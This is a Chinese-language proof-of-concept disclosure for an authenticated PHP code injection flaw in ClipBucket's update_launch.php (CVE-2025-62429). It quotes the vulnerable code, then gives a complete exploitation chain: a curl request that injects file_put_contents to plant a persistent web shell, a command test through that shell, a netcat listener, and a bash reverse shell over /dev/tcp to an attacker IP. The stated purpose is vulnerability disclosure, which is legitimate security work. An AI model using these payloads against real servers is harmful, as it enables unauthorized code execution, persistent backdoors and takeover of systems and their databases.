通过 update_launch.php 中的 PHP 代码注入实现 RCE 的概念验证(PoC)
披露: 最初由我通过 GHSA-3h9c-7j8r-xc3v 报告
⚠️ 仅限授权渗透测试/研究用途。
| 字段 | 值 |
|---|
| CVE ID | CVE-2025-62429 |
| 严重性 | 🔴 高危 |
| CVSS 评分 | 7.2 |
| CVSS 向量 | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-78:操作系统命令注入,CWE-94:代码注入 |
| 受影响产品 | ClibBucket <= 5.5.3 - #79 |
| 已修补版本 | 5.5.3 - #80 |
| 安全公告 | GHSA-3h9c-7j8r-xc3v |
ClipBucket v5.5.3-61 存在**认证远程代码执行(RCE)**漏洞。该漏洞被归类为 CWE-94:代码生成控制不当(“代码注入”)。应用程序未能正确清理用于在 update_launch.php 中生成可执行 PHP 代码的用户可控输入。经过认证的管理员可利用此漏洞在底层服务器上实现完整的命令执行,将权限从 Web 管理员提升至系统用户(例如 containeruser)。
该漏洞位于 upload/admin_area/actions/update_launch.php 中。该脚本通过动态生成临时 PHP 后台脚本来实现系统更新。
漏洞代码片段: upload/admin_area/actions/update_launch.php(第 40-86 行)
// User input from $_POST['type'] is directly concatenated into a PHP string.
$data = '<?php
if (php_sapi_name() != \'cli\') { die; }
...
$type = \'' . $_POST['type'] . '\'; // <--- VULNERABILITY: Direct concatenation
...
?>';
fwrite($tmp_file, $data);
fclose($tmp_file);
// The generated file is executed via shell_exec using the PHP CLI.
$cmd = System::get_binaries('php') . ' -q ' . DirPath::get('temp') . 'update_core_tmp.php';
shell_exec($cmd);


利用机制:
由于 type 参数未经转义或清理就被拼接到 $data 字符串中,攻击者可以使用单引号(')跳出字符串字面量上下文。然后,他们可以注入任意 PHP 函数(例如 system() 或 file_put_contents()),并使用 // 注释掉原始代码的其余部分。这将导致以 PHP-CLI 进程的权限执行攻击者提供的代码。
PHPSESSID 会话 Cookie。
我们首先通过在文档根目录中部署持久性 Web Shell 来演示该漏洞。
curl -X POST "http://[TARGET_IP]/admin_area/actions/update_launch.php" \
-H "Cookie: PHPSESSID=[ADMIN_SESSION_ID]" \
-d "type=core'; file_put_contents(dirname(__DIR__, 2).'/vuln.php', '<?php system(\$_GET[\"cmd\"]); ?>'); //"

curl -s "http://[TARGET_IP]/vuln.php?cmd=id"
# Expected Response: uid=1000(containeruser) gid=1000(containeruser) ...

确认 RCE 后,建立交互式 Shell 以进行后渗透。
nc -lvnp 4444

curl -G "http://[TARGET_IP]/vuln.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/[KALI_IP]/4444 0>&1'"


攻击者机器将收到连接,从而以 containeruser 身份获得完整的交互式 Shell 访问权限。
成功利用该漏洞可使攻击者执行任意系统命令。这将导致:
config.inc.php)和整个数据库。此问题与先前披露的漏洞相关:
经过进一步分析,发现由于修复不完整,该漏洞在 ClipBucket v5.5.3 中仍然存在。
虽然原始公告解决了部分问题,但通过 update_launch.php 中 type 参数的 PHP 代码注入向量仍然可以被利用。
本公告提供了额外的技术细节、在最新版本上的验证以及完整的端到端利用场景。